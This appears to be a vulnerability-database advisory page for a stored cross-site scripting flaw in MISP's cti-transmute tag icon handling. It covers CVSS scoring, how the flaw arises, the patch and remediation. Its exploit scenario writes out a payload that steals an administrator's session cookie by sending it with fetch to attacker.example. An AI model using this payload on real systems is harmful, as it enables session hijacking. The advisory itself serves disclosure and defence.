EUVD-2026-55979
GHSA-3vx2-8r8r-pf7r
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Stored XSS triggered by a low-privilege user (PR:L) requiring passive admin view (UI:R); scope changes to admin browser context (S:C) with low confidentiality and integrity impact; no availability impact.
Primary rating from Vendor (5a6e4751-2f3f-4070-9419-94fb35b644e8).
CVSS VectorVendor: 5a6e4751-2f3f-4070-9419-94fb35b644e8
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
Affected versions of cti-transmute allow a tag's icon value to be stored and later interpolated into HTML through Vue's v-html. The helper mapIcon() previously constructed an HTML string directly from the icon value:
<i class="fas fa-${name}"></i>
Because the icon is user-supplied, a crafted value could break out of the intended markup and inject attacker-controlled HTML. When the affected tag was later rendered, including on the administrative triage interface, the payload could execute in the viewer's browser.
The patch mitigates the issue at multiple layers: v-html is replaced with Vue :class binding, mapIcon() now returns only a constrained FontAwesome class string, and the backend validates icons against the FontAwesome catalogue or a strict [a-z0-9-]{1,40} slug pattern before storing them.
AnalysisAI
Stored cross-site scripting in MISP's cti-transmute allows a low-privileged authenticated user to inject arbitrary HTML and JavaScript into the administrative triage interface by supplying a crafted icon value when creating or editing a tag. The malicious payload persists in the database and silently executes in the browser of any user who subsequently renders the affected tag, including administrators. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must hold a valid account in cti-transmute with at least the privilege level required to call the tag creation endpoint (POST /create_tag) or tag editing endpoint (POST /admin_edit), corresponding to PR:L in the CVSS vector. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P) accurately captures the moderate base risk: exploitation requires a low-privileged account and passive victim interaction, which materially constrains opportunistic attack. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated low-privileged user submits a tag creation request with an icon value such as `tag"><img src=x onerror="fetch('https://attacker.example/c?'+document.cookie)"><i class="` to the unpatched /create_tag endpoint; the backend stores this value without validation. When a site administrator subsequently opens the administrative triage interface to review tags, Vue renders the stored value through v-html, the injected payload fires, and the attacker receives the administrator's session cookie, enabling full session hijacking. … |
| Remediation | Update cti-transmute to a revision incorporating commit cc13416d606d91d543ce1f1e41387750f8450153 or later, available at https://github.com/MISP/cti-transmute/commit/cc13416d606d91d543ce1f1e41387750f8450153. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today